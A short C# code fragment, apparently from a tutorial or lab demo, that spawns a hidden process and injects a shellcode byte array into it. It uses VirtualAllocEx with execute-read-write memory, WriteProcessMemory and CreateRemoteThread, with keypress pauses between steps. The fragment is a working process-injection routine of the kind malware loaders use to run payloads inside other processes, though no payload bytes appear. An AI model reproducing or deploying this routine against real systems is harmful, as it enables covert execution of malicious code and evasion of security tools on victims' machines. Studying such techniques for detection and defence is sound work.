public static IntPtr SpawnNewProcess(string processName)
{
STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO();
STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION();
bool success = IMPORTS.CreateProcessA(null, processName,
IntPtr.Zero, IntPtr.Zero, false,
STRUCTS.ProcessCreationFlags.CREATE_NO_WINDOW,
IntPtr.Zero, null, ref si, out pi);
Console.WriteLine("Process {0} Created! \n PID: {1}", processName, pi.dwProcessId);
return(pi.hProcess);
}
public static void Inject(IntPtr processHandle, byte[] shellcode)
{
IntPtr written = IntPtr.Zero;
Console.WriteLine("Hit a key to alloc memory");
Console.ReadKey();
IntPtr memoryaddr = IMPORTS.VirtualAllocEx(processHandle, IntPtr.Zero, (uint)(shellcode.Length), STRUCTS.AllocationType.Commit | STRUCTS.AllocationType.Reserve, STRUCTS.MemoryProtection.ExecuteReadWrite);
Console.WriteLine("Hit a key to write memory");
Console.ReadKey();
IMPORTS.WriteProcessMemory(processHandle, memoryaddr, shellcode, shellcode.Length, out written);
Console.WriteLine("Hit a key to create the thread and launch our shellcode!");
Console.ReadKey();
IMPORTS.CreateRemoteThread(processHandle, IntPtr.Zero, 0, memoryaddr, IntPtr.Zero, 0, IntPtr.Zero);
}